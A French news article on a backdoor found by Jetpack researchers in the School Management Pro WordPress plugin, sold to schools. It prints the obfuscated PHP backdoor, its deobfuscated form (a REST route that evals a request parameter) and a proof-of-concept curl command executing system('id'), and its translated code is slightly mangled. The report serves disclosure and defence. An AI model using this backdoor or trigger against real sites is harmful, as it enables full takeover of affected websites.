Les chercheurs ont déclaré vendredi avoir trouvé une porte dérobée malveillante dans un plugin WordPress qui donnait aux attaquants le contrôle total des sites Web qui utilisaient le package, qui est commercialisé auprès des écoles.
La version premium de School Management, un plugin utilisé par les écoles pour exploiter et gérer leurs sites Web, contient la porte dérobée depuis au moins la version 8.9, ont déclaré des chercheurs du service de sécurité de sites Web Jetpack dans un article de blog sans exclure qu’il était présent dans les versions antérieures. . Cette page d’un site tiers montre que la version 8.9 est sortie en août dernier.
Porte dérobée évidente
Jetpack a déclaré avoir découvert la porte dérobée après que les membres de l’équipe d’assistance de WordPress.com ont signalé avoir trouvé du code fortement obscurci sur plusieurs sites qui utilisaient School Management Pro. Après l’avoir désobscurci, ils ont réalisé que le code, caché dans la partie de vérification de licence du plugin, y avait été intentionnellement placé dans le but de donner aux étrangers la possibilité de prendre le contrôle des sites.
« Le code lui-même n’est pas si intéressant : c’est une porte dérobée évidente injectée dans le code de vérification de licence du plugin », a déclaré le post de Jetpack. « Il permet à tout attaquant d’exécuter du code PHP arbitraire sur le site avec le plugin installé. »
Dans sa forme obscurcie, le code ressemblait à ceci :
} $_fc = eval("x65x76x61x6c(x67x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "x6cx61x74" . "x65x28x62"."x61x73x65x36"."x34x5fx64x65x63x6fx64x65x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs="" . str_repeat(chr(0x29), 3)."x3b"); class WLSM_Crypt_Blowfish_DefaultKey
Après désobfuscation, le code était :
add_action( "rest_api_init', function()
register_rest_route(
'am-member', 'license',
array(
'methods' => WP_REST_Server::CREATABLE,
'callback' => function( $request )
$args = $request->get_params();
if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) )
eval( $args['blowf'] );
,
)
);
);
Les chercheurs ont écrit un exploit de preuve de concept qui a confirmé que le code obscurci était en effet une porte dérobée qui permettait à quiconque en avait connaissance d’exécuter le code de son choix sur n’importe quel site exécutant le plugin.
$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713
Le mystère demeure
Le nombre de sites utilisant le plugin n’est pas clair. Weblizar, le fabricant indien de School Management, indique sur sa page d’accueil qu’il a « 340k + » clients pour ses thèmes et plugins gratuits et premium, mais la porte dérobée Jetpack trouvée n’était que dans School Management Pro. La porte dérobée n’était pas dans la version gratuite du plugin, et rien n’indique qu’elle ait été placée dans d’autres plugins publiés par Weblizar.
« Nous avons essayé d’obtenir plus d’informations du fournisseur sur le moment où la porte dérobée a été injectée, sur les versions affectées et sur la manière dont le code s’est retrouvé dans le plugin en premier lieu », indique le message. « Cet effort a été infructueux, car le fournisseur dit qu’il ne sait pas quand ni comment le code est entré dans son logiciel. »
Les tentatives pour joindre Weblizar n’ont pas abouti.
Maintenant que la présence de la porte dérobée est de notoriété publique, les attaquants sont susceptibles de l’exploiter sur n’importe quel site Web utilisant une version vulnérable du plugin. Quiconque utilise ce plugin doit mettre à jour immédiatement. Même après avoir corrigé, ils doivent également analyser attentivement leur site à la recherche de signes de compromis, car la mise à jour ne supprimera aucune nouvelle porte dérobée qui aurait pu être ajoutée.